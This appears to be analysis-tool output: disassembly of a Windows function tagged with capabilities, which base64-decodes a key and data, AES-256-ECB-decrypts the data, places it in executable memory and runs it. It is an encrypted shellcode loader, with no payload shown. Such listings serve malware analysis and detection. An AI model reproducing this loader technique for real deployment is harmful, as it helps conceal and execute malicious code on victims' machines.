Function at 0x140001360
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x450
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rdi, 0xffffffffffffffff
mov r14, rdx
mov rsi, rdi
mov rbp, rcx
inc rsi
cmp byte [rsi + rcx], 0
jne 0x140001395
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_f_base64]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new]
mov rcx, rax
mov edx, 0x100
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_set_flags]
mov edx, esi
mov rcx, rbp
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new_mem_buf]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_push]
mov r8d, esi
mov rdx, r15
mov rcx, rax
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_read]
mov rcx, rbx
movsxd rbp, eax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free_all]
test r15, r15
jne 0x140001450
lea ecx, [r15 + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [0x140003410]
lea rdx, str._s_Failed_to_dekript_data_n
call fcn.140001010
mov al, 1
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140001830
mov rbx, qword [rsp + 0x490]
add rsp, 0x450
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
inc rdi
cmp byte [r14 + rdi], 0
jne 0x140001450
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_f_base64]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new]
mov rcx, rax
mov edx, 0x100
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_set_flags]
mov edx, edi
mov rcx, r14
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new_mem_buf]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_push]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_read]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free_all]
test rsi, rsi
jne 0x1400014d5
lea rdx, [0x140003410]
lea rcx, str._s_Failed_to_dekript_key_n
call fcn.140001060
jmp 0x140001424
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
je 0x140001672
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_ecb]
mov r9, rsi
mov qword [rsp + 0x20], 0
mov rdx, rax
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
jne 0x140001672
mov r9, r15
mov dword [rsp + 0x20], ebp
lea r8, [rsp + 0x30]
mov rcx, rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
jne 0x140001672
movsxd rbx, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
add rdx, rbx
lea r8, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
jne 0x140001672
add ebx, dword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
test ebx, ebx
jg 0x140001588
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.EVP_DecryptFinal_ex_failed_n
call fcn.140001010
jmp 0x140001424
mov r8d, ebx
lea rdx, [0x140003408]
lea rcx, str._s_length:__i_n
call fcn.140001060
movsxd rdi, ebx
mov r9d, 0x40
mov rdx, rdi
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400015e1
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [0x140003410]
lea rdx, str._s__Failed_to_allocate_n
call fcn.140001010
jmp 0x14000165b
mov r8, rdi
lea rdx, [rsp + 0x40]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [0x14000340c]
lea rcx, str._s_Executing..._n
call fcn.140001060
call rbx
lea rdx, [0x140003408]
lea rcx, str._s_Execution_finished._n
call fcn.140001060
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test eax, eax
jne 0x140001648
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_free_allocated_memory_n
call fcn.140001010
jmp 0x14000165b
lea rdx, [0x140003408]
lea rcx, str._s_Memory_freed_successfully._n
call fcn.140001060
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001426
call fcn.1400010c0
int3